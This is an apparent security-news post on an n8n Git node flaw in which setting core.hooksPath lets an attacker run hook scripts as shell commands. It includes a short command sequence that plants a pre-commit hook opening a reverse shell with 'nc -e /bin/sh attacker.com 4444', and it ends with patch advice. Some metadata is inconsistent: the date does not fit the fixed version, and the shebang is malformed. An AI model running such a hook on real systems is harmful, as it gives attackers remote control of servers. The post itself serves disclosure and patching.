Listen to this Post
The vulnerability exists within the n8n platform’s Git node. This node provides a “Add Config” operation which allows a workflow to set arbitrary Git configuration key-value pairs. An attacker with the ability to create or modify a workflow can set the `core.hooksPath` configuration to point to a directory inside a cloned repository that they control. The `core.hooksPath` setting instructs Git to look for hook scripts in a custom directory instead of the default .git/hooks. By placing a malicious script, such as a `pre-commit` hook, in this controlled directory, the attacker can force its execution. When a subsequent Git operation (like git commit) is triggered by the workflow, Git will execute the script from the attacker-defined path. Since Git hooks are executed as shell commands on the host system, this mechanism allows for arbitrary command execution with the privileges of the n8n process, leading to full compromise of the underlying server. Exploitation requires the attacker to have permissions to edit workflows utilizing the Git node.
Platform: n8n
Version: 0.123.1-1.119.1
Vulnerability: Arbitrary Command Execution
Severity: Critical
date: 2024-06-24
Prediction: Patch released 2024-06-24
What Undercode Say:
Analytics
git config --local core.hooksPath .git/controlled_hooks echo '!/bin/sh' > .git/controlled_hooks/pre-commit echo 'nc -e /bin/sh attacker.com 4444' >> .git/controlled_hooks/pre-commit chmod +x .git/controlled_hooks/pre-commit git add . && git commit -m "trigger"
How Exploit
1. Create malicious workflow.
2. Set `core.hooksPath` config.
3. Clone repo with hooks.
4. Trigger Git operation.
Protection from this CVE
Upgrade to n8n>=1.119.2. Restrict workflow editing. Audit Git node usage.
Impact
Remote Code Execution. Host Compromise. Privilege Escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
